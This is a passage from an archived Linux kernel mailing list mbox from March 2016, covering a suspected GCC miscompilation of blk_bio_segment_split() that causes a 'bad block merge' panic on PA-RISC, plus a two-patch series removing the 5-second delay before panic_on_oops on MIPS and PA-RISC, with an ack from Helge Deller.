            20: 0 4096 246554 000000007e4a4f00(0, 94208, 2)
            21: 0 4096 246555 000000007e4a4f00(0, 94208, 2)
            22: 0 4096 246556 000000007e4a4f00(0, 94208, 2)
Kernel panic - not syncing: bad block merge

It seems segment 1 is too small and segment 2 too big?

The general plan is to disable inlining (maybe move 
blk_bio_segment_split() to a separate
function) to try to figure out what is miscompiled.

As you say, this is probably a GCC bug.  However, it's likely a 
middle-end or optimization
bug in the common GCC code.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ming Lei <tom.leiming@gmail.com>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: [BUG] "block: make generic_make_request handle arbitrarily sized
 bios" breaks boot on parisc-linux
Date: Wed, 9 Mar 2016 23:51:05 +0800
Lines: 115
Approved: news@gmane.org
Message-ID: <CACVXFVOQaiPAHgLUJwwv=jHUhAMvObKE4COXRHQ10t9EHRY3TQ@mail.gmail.com>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
	<CACVXFVOnff1sFfMH+zsoypuYwM4PokJkHeKhbxJYDDH6ZtVScg@mail.gmail.com>
	<56CE2266.6010909@gmx.de>
	<FC3214D0-6247-449F-8372-14BC4D0C3887@bell.net>
	<CACVXFVM5nLDFGcoo173sK4E3TC4k7c+=Fvin0eAxStAdwx8yXA@mail.gmail.com>
	<1457528111.2693.4.camel@HansenPartnership.com>
	<CACVXFVN4pj2fTrP7Lzqkw4QJHESuMBOYvg+0LbwXErSAy0yP=g@mail.gmail.com>
	<56E03E2A.5020208@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1457538681 5683 80.91.229.3 (9 Mar 2016 15:51:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Mar 2016 15:51:21 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Helge Deller <deller@gmx.de>, linux-block@vger.kernel.org,
	Linux SCSI List <linux-scsi@vger.kernel.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Kent Overstreet <kent.overstreet@gmail.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-scsi-owner@vger.kernel.org Wed Mar 09 16:51:19 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1adgOE-0007dr-SP
	for lnx-linux-scsi@plane.gmane.org; Wed, 09 Mar 2016 16:51:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932999AbcCIPvJ (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Wed, 9 Mar 2016 10:51:09 -0500
Original-Received: from mail-yk0-f170.google.com ([209.85.160.170]:33148 "EHLO
	mail-yk0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753709AbcCIPvH (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>); Wed, 9 Mar 2016 10:51:07 -0500
Original-Received: by mail-yk0-f170.google.com with SMTP id z7so22356662yka.0;
        Wed, 09 Mar 2016 07:51:06 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=LvLtKo/APOXUF3dq2Z1n6CRWyHypIXrx6Mm9brfOalE=;
        b=OS8LcnKnBQKzYus+olW9f3QqSWU/PlXq6YR8UhzkgRo58vhelb7P2wdNjZH3/TQ59h
         rLg3WBO4MZ46FFyzWCMtFlTnaL2VlweJ31Arq3If5uaRJRG2OT0iNBK93aDriXibBFPy
         wQ4uS9pkECVe+6FoM7oHZ44ahByb1QSdy2UDCPsGsYN3MMC6GKt9/jGM6cm1lZ6J7kSK
         pcqi3OWYmX0wMH6N4sewUVS/yoeJZjN4rcRdTTzfaia1nvwAWNRxhB3odB9lJXI1O7zV
         6ViqowLZKRlyxnMGY/wFyWAndZnM3OWUVTOcOUor6iNbrAFkXtPnsjde3Yge3YjTbK+o
         mUDw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=LvLtKo/APOXUF3dq2Z1n6CRWyHypIXrx6Mm9brfOalE=;
        b=jFAGxLhOhdsPTvKgSlfO8IIkj6q/eqVzjE6kdwTluxgjVICxKO8TOWKsdeCbzE3tnm
         Btw2tyopqCjD5ee/AsBHLSKCfK0eUGQWLr8k6pTEppoy39V7rjBNlQYCFZQCNn/9qpB4
         TMob5wjMunlR8rD8uoT5ubA1veuNSn4cCfsuBhGq6MmZ/SGOxkVEt2Bnbzfy3h+AcC28
         gcpQRH/V+NOBkq7ssiOpH1TqI1FBQmUYw3rcCX8JvN8WBj5deWKRT18ILmdswmJdA7+k
         bK7ydxZ8kGiB43xpJFk9XuC46XdHuBzxzpVaHWTc7La78btyoGhnm/qCVqGRC4O8F86P
         LWAg==
X-Gm-Message-State: AD7BkJIO1ftzfNSLKAOmzIqvb5ZGdzTM4QaT9MDKypbXGGZM+mtDW+3vVGsKnRjT854LcBOnqEfxapFhnbTDeQ==
X-Received: by 10.37.230.204 with SMTP id d195mr7175324ybh.127.1457538666052;
 Wed, 09 Mar 2016 07:51:06 -0800 (PST)
Original-Received: by 10.37.207.8 with HTTP; Wed, 9 Mar 2016 07:51:05 -0800 (PST)
In-Reply-To: <56E03E2A.5020208@bell.net>
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:111678 gmane.linux.ports.parisc:26519
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/111678>

On Wed, Mar 9, 2016 at 11:15 PM, John David Anglin <dave.anglin@bell.net> wrote:
> On 2016-03-09 9:43 AM, Ming Lei wrote:
>>>
>>> We've provided all the information you asked for, what's the next step
>>> >on this, or do we have to unwind the bio splitting code with reverts
>>> >until it starts working?
>>
>> John, Helge, and I did discuss the problem for a while privately, and
>> looks
>> it is related with compiler.  Last time, I sent one patch which can make
>> the
>> issue disappear, but the main change is just invovled with the below:
>>
>>   struct bio_vec {
>>       struct page    *bv_page;
>> -    unsigned int    bv_len;
>> +    unsigned int    bv_seg:8;
>> +    unsigned int    bv_len:24;
>>       unsigned int    bv_offset;
>>   };
>>
>> Maybe John and Helge have some update recently?
>>
>> The logic in blk_bio_segment_split() is correct, and it does respect the
>> max
>> segment size limit.
>
> Helge has found that tagging blk_bio_segment_split() with "__attribute__
> ((optimize("O0")))"
> makes the issue disappear.  The bug remains if one just adds bv_len to the
> struct without the
> bit fields.  Maybe problem is evident from following output which I sent to
> Ming and Helge
> last weekend?
>
> blk_rq_map_sg: merge bug: 3 2, extra_len 0, dma_drain 0
> check_bvec: dump bvec for 000000007e4efdc0(f:24490000, t:1)
>             0: 0 4096 246503 000000007e4a4f00(0, 94208, 1)
>             1: 0 4096 246504 000000007e4a4f00(0, 94208, 1)
>             2: 0 4096 246505 000000007e4a4f00(0, 94208, 1)
>             3: 0 4096 246506 000000007e4a4f00(0, 94208, 1)

The above 4 io vectors belong to one same segment since
they are contineous physically from the 3rd column of PFN,
but the vector 4(the below one) isn't contineous with above 3
vectors, so the following one starts the 2nd segment.

>             4: 0 4096 246538 000000007e4a4f00(0, 94208, 2)
>             5: 0 4096 246539 000000007e4a4f00(0, 94208, 2)
>             6: 0 4096 246540 000000007e4a4f00(0, 94208, 2)
>             7: 0 4096 246541 000000007e4a4f00(0, 94208, 2)
>             8: 0 4096 246542 000000007e4a4f00(0, 94208, 2)
>             9: 0 4096 246543 000000007e4a4f00(0, 94208, 2)
>            10: 0 4096 246544 000000007e4a4f00(0, 94208, 2)
>            11: 0 4096 246545 000000007e4a4f00(0, 94208, 2)
>            12: 0 4096 246546 000000007e4a4f00(0, 94208, 2)
>            13: 0 4096 246547 000000007e4a4f00(0, 94208, 2)
>            14: 0 4096 246548 000000007e4a4f00(0, 94208, 2)
>            15: 0 4096 246549 000000007e4a4f00(0, 94208, 2)
>            16: 0 4096 246550 000000007e4a4f00(0, 94208, 2)
>            17: 0 4096 246551 000000007e4a4f00(0, 94208, 2)
>            18: 0 4096 246552 000000007e4a4f00(0, 94208, 2)
>            19: 0 4096 246553 000000007e4a4f00(0, 94208, 2)

The above 16 vectors are contineous physically, but the segment
size becomes 64K now, so blk_bio_segment_split() should have
seen that and started to split the bio.

>            20: 0 4096 246554 000000007e4a4f00(0, 94208, 2)
>            21: 0 4096 246555 000000007e4a4f00(0, 94208, 2)
>            22: 0 4096 246556 000000007e4a4f00(0, 94208, 2)

Unfortunately the bio isn't splitted at all, that means the following
code is run incorrectly:

if (seg_size + bv.bv_len > queue_max_segment_size(q))
                                goto new_segment;

seg_size should be 64K, and bv.bv_len should be 4K, so
the sum between the two should be bigger than
64K(queue_max_segment_size(q)). Unfortunately, the
code is optimized as run incorrectly.

> Kernel panic - not syncing: bad block merge
>
> It seems segment 1 is too small and segment 2 too big?

segment 1 is correct, and segment 2 becomes too big, but
__blk_segment_map_sg() runs correctly and figured out
this bio has 3 segments, so causes the oops.

>
> The general plan is to disable inlining (maybe move blk_bio_segment_split()
> to a separate
> function) to try to figure out what is miscompiled.
>
> As you say, this is probably a GCC bug.  However, it's likely a middle-end
> or optimization
> bug in the common GCC code.
>
> Dave
>
>
> --
> John David Anglin  dave.anglin@bell.net
>


-- 
Ming Lei
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 1/2] MIPS: panic immediately when panic_on_oops
Date: Wed,  9 Mar 2016 22:08:42 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <1457554123-18491-2-git-send-email-aaro.koskinen@iki.fi>
References: <1457554123-18491-1-git-send-email-aaro.koskinen@iki.fi>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1457554163 18610 80.91.229.3 (9 Mar 2016 20:09:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Mar 2016 20:09:23 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>
To: Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Wed Mar 09 21:09:14 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1adkPx-0003qI-Cs
	for sgi-linux-mips@gmane.org; Wed, 09 Mar 2016 21:09:13 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:41376 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27013497AbcCIUJKyfgyq (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 9 Mar 2016 21:09:10 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Mar 2016 21:08:57 +0100 (CET)
Original-Received: from emh03.mail.saunalahti.fi ([62.142.5.109]:44276 "EHLO
        emh03.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27013485AbcCIUI4D5FUq (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 9 Mar 2016 21:08:56 +0100
Original-Received: from localhost.localdomain (85-76-14-12-nat.elisa-mobile.fi [85.76.14.12])
        by emh03.mail.saunalahti.fi (Postfix) with ESMTP id 866C4188779;
        Wed,  9 Mar 2016 22:08:55 +0200 (EET)
X-Mailer: git-send-email 2.4.0
In-Reply-To: <1457554123-18491-1-git-send-email-aaro.koskinen@iki.fi>
X-archive-position: 52564
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: aaro.koskinen@iki.fi
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:53723 gmane.linux.ports.parisc:26520 gmane.linux.kernel:2173365
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/53723>

MIPS wants to sleep 5 seconds before panicking when panic_on_oops is set,
with no apparent reason. Remove this feature, since some users may want
their systems to fail as quickly as possible.

Users who want to delay reboot after panic can use PANIC_TIMEOUT.

Signed-off-by: Aaro Koskinen <aaro.koskinen@iki.fi>
---
 arch/mips/kernel/traps.c | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/arch/mips/kernel/traps.c b/arch/mips/kernel/traps.c
index bf14da9..5756740 100644
--- a/arch/mips/kernel/traps.c
+++ b/arch/mips/kernel/traps.c
@@ -398,11 +398,8 @@ void __noreturn die(const char *str, struct pt_regs *regs)
 	if (in_interrupt())
 		panic("Fatal exception in interrupt");
 
-	if (panic_on_oops) {
-		printk(KERN_EMERG "Fatal exception: panic in 5 seconds");
-		ssleep(5);
+	if (panic_on_oops)
 		panic("Fatal exception");
-	}
 
 	if (regs && kexec_should_crash(current))
 		crash_kexec(regs);
-- 
2.4.0




From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: [PATCH 0/2] MIPS/PA-RISC: panic immediately when panic_on_oops
Date: Wed,  9 Mar 2016 22:08:41 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <1457554123-18491-1-git-send-email-aaro.koskinen@iki.fi>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1457554181 18821 80.91.229.3 (9 Mar 2016 20:09:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Mar 2016 20:09:41 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>
To: Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Mar 09 21:09:27 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1adkQ8-0003zj-7Y
	for glk-linux-kernel-3@plane.gmane.org; Wed, 09 Mar 2016 21:09:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934112AbcCIUJP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 9 Mar 2016 15:09:15 -0500
Original-Received: from emh03.mail.saunalahti.fi ([62.142.5.109]:44270 "EHLO
	emh03.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933338AbcCIUI5 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 9 Mar 2016 15:08:57 -0500
Original-Received: from localhost.localdomain (85-76-14-12-nat.elisa-mobile.fi [85.76.14.12])
	by emh03.mail.saunalahti.fi (Postfix) with ESMTP id 386A4188772;
	Wed,  9 Mar 2016 22:08:53 +0200 (EET)
X-Mailer: git-send-email 2.4.0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2173367 gmane.linux.ports.mips.general:53724 gmane.linux.ports.parisc:26521
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2173367>

Hi,

MIPS and PA-RISC want to sleep 5 seconds before panicking when
panic_on_oops is set, with no apparent reason. We should remove
this feature, since some users may want their systems to fail as
quickly as possible.

Users who want to delay reboot after panic can use PANIC_TIMEOUT.

Also, this change will unify the behaviour with other architectures.

Aaro Koskinen (2):
  MIPS: panic immediately when panic_on_oops
  PA-RISC: panic immediately when panic_on_oops

 arch/mips/kernel/traps.c   | 5 +----
 arch/parisc/kernel/traps.c | 5 +----
 2 files changed, 2 insertions(+), 8 deletions(-)

-- 
2.4.0



From - Thu Nov 08 21:38:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: [PATCH 2/2] PA-RISC: panic immediately when panic_on_oops
Date: Wed,  9 Mar 2016 22:08:43 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <1457554123-18491-3-git-send-email-aaro.koskinen@iki.fi>
References: <1457554123-18491-1-git-send-email-aaro.koskinen@iki.fi>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1457554191 18913 80.91.229.3 (9 Mar 2016 20:09:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Mar 2016 20:09:51 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>
To: Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Mar 09 21:09:43 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1adkQO-0004Gb-Io
	for glk-linux-kernel-3@plane.gmane.org; Wed, 09 Mar 2016 21:09:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934128AbcCIUJY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 9 Mar 2016 15:09:24 -0500
Original-Received: from emh03.mail.saunalahti.fi ([62.142.5.109]:44279 "EHLO
	emh03.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933537AbcCIUI6 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 9 Mar 2016 15:08:58 -0500
Original-Received: from localhost.localdomain (85-76-14-12-nat.elisa-mobile.fi [85.76.14.12])
	by emh03.mail.saunalahti.fi (Postfix) with ESMTP id D08DF1887B3;
	Wed,  9 Mar 2016 22:08:55 +0200 (EET)
X-Mailer: git-send-email 2.4.0
In-Reply-To: <1457554123-18491-1-git-send-email-aaro.koskinen@iki.fi>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2173368 gmane.linux.ports.mips.general:53725 gmane.linux.ports.parisc:26522
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2173368>

PA-RISC wants to sleep 5 seconds before panicking when panic_on_oops
is set, with no apparent reason. Remove this feature, since some users
may want their systems to fail as quickly as possible.

Users who want to delay reboot after panic can use PANIC_TIMEOUT.

Signed-off-by: Aaro Koskinen <aaro.koskinen@iki.fi>
---
 arch/parisc/kernel/traps.c | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 553b098..16e0735 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -284,11 +284,8 @@ void die_if_kernel(char *str, struct pt_regs *regs, long err)
 	if (in_interrupt())
 		panic("Fatal exception in interrupt");
 
-	if (panic_on_oops) {
-		printk(KERN_EMERG "Fatal exception: panic in 5 seconds\n");
-		ssleep(5);
+	if (panic_on_oops)
 		panic("Fatal exception");
-	}
 
 	oops_exit();
 	do_exit(SIGSEGV);
-- 
2.4.0



From - Thu Nov 08 21:38:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.kernel
Subject: Re: [PATCH 2/2] PA-RISC: panic immediately when panic_on_oops
Date: Wed, 9 Mar 2016 22:03:36 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <56E08FA8.8050500@gmx.de>
References: <1457554123-18491-1-git-send-email-aaro.koskinen@iki.fi>
 <1457554123-18491-3-git-send-email-aaro.koskinen@iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1457557440 7228 80.91.229.3 (9 Mar 2016 21:04:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Mar 2016 21:04:00 +0000 (UTC)
To: Aaro Koskinen <aaro.koskinen@iki.fi>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 09 22:03:51 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1adlGn-0004Q9-9s
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 Mar 2016 22:03:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753920AbcCIVDs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Mar 2016 16:03:48 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:58911 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753912AbcCIVDr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Mar 2016 16:03:47 -0500
Original-Received: from [192.168.20.60] ([92.203.10.96]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MOwbP-1ak5zq2mIB-006KQm; Wed, 09 Mar 2016 22:03:37
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1457554123-18491-3-git-send-email-aaro.koskinen@iki.fi>
X-Provags-ID: V03:K0:S1Hy/iGgboVZPdbvtZVMgjw12T/lIDpegZsDLbXwoSbZRJj54/F
 MLJjvTBnIU5L513Yk+vysRKTajgwH+sDLwFXxo3YRn1jNcnjb3ZkLm6uykufq8iLyF0wSjT
 0+J6RQQYINCti/k4Xj31nfvPifo3c7hmwt6eVQV1X7lQ6DmVPOcghRKerP/6QH5xB8K0RL+
 4f8l3zw9jNidzenT8W8QA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:uQeGpgf06vM=:rC941a7Q6jMQaQvPPJA7Ps
 jN6OGsbs1Hn2+t/8oxJR0PtKnrS6g6ua8or+13dJG1hJvv4FP1le7cn1ybZfhmBFFdTRL/yXd
 mWYi6+gwgVZSd5gwpoRCTRwQoygrhOtgcCxl9R29ygCn1gWSuEd0r5AGW+55qnxR4agaTug6+
 lwXZHbQs+3gF3s1OKZ4g4+nnoPAPvbbFBuVIVL3I7sQ0dcKriSna1mD43l39nSJS2hRJKxVaj
 uJ2PpLGTvVPJPizVRFaNA/m4ea/kb4b+2eb2ypMGOYCAcOBSOo/zogDW9mAFETgsGnn8LSm7m
 L4A4l6RwXwbgy5KAAJtoar19QlZ4mZawC0EFVytSii06YXGW76DoHcL/36OTh8r2JasOHiTF5
 FilUxFCkSxldl6rG92gy6TR0VPYBeaXu5Eg5mCvLUIdMrkWSr7nrlpBOj6jGNl79+pvSRoWAD
 /BEnJA2cjssINDBV1WfhQcP25KMo3U1/fig0Ki4JdI0aOP4O23kr2/MnQs+0q8F1u15GkIQ8I
 nZ6IUaTa2sEcl6ThueECx4o59RKejZ7W9CXaIvE4IlTZKec+3aKoso8c74vpO8wHWaInMBLWZ
 LK4PswihX0LWlmZvKJN6qb9Ikml323KEoVqtmtiOBTJr5A8e5s1GLc2tRjPlSZ6zOGEdvkIYl
 hdrI1jIR8JdO02IyGSbkmrL7jTe2bw8PrJNBXaqoDBIG5A80PU2YC/Xo1qd396uJoHq55m+r/
 eu27+ee8ZOW8qMWIHd7tiZayAjExEAgKrHwKXgIOkCYzsYWrTzjZjEE9EZoLGtxOl6+kVUVr 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26523 gmane.linux.ports.mips.general:53726 gmane.linux.kernel:2173403
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26523>

On 09.03.2016 21:08, Aaro Koskinen wrote:
> PA-RISC wants to sleep 5 seconds before panicking when panic_on_oops
> is set, with no apparent reason. 

That's not completely true.
A few years back, when we had lots of crashes, it was very useful to at least
have some time to see the crash before the oops was cleaned from the screen.
Today the parisc port is really stable.

> Remove this feature, since some users
> may want their systems to fail as quickly as possible.
> 
> Users who want to delay reboot after panic can use PANIC_TIMEOUT.

That's OK.

> Signed-off-by: Aaro Koskinen <aaro.koskinen@iki.fi>

Acked-by: Helge Deller <deller@gmx.de>


> ---
>  arch/parisc/kernel/traps.c | 5 +----
>  1 file changed, 1 insertion(+), 4 deletions(-)
> 
> diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
> index 553b098..16e0735 100644
> --- a/arch/parisc/kernel/traps.c
> +++ b/arch/parisc/kernel/traps.c
> @@ -284,11 +284,8 @@ void die_if_kernel(char *str, struct pt_regs *regs, long err)
>  	if (in_interrupt())
>  		panic("Fatal exception in interrupt");
>  
> -	if (panic_on_oops) {
> -		printk(KERN_EMERG "Fatal exception: panic in 5 seconds\n");
> -		ssleep(5);
> +	if (panic_on_oops)
>  		panic("Fatal exception");
> -	}
>  
>  	oops_exit();
>  	do_exit(SIGSEGV);
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [BUG] "block: make generic_make_request handle arbitrarily sized
 bios" breaks boot on parisc-linux
Date: Wed, 9 Mar 2016 22:20:54 +0100
Lines: 77
Approved: news@gmane.org
Message-ID: <56E093B6.4040206@gmx.de>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
 <CACVXFVOnff1sFfMH+zsoypuYwM4PokJkHeKhbxJYDDH6ZtVScg@mail.gmail.com>
 <56CE2266.6010909@gmx.de> <FC3214D0-6247-449F-8372-14BC4D0C3887@bell.net>
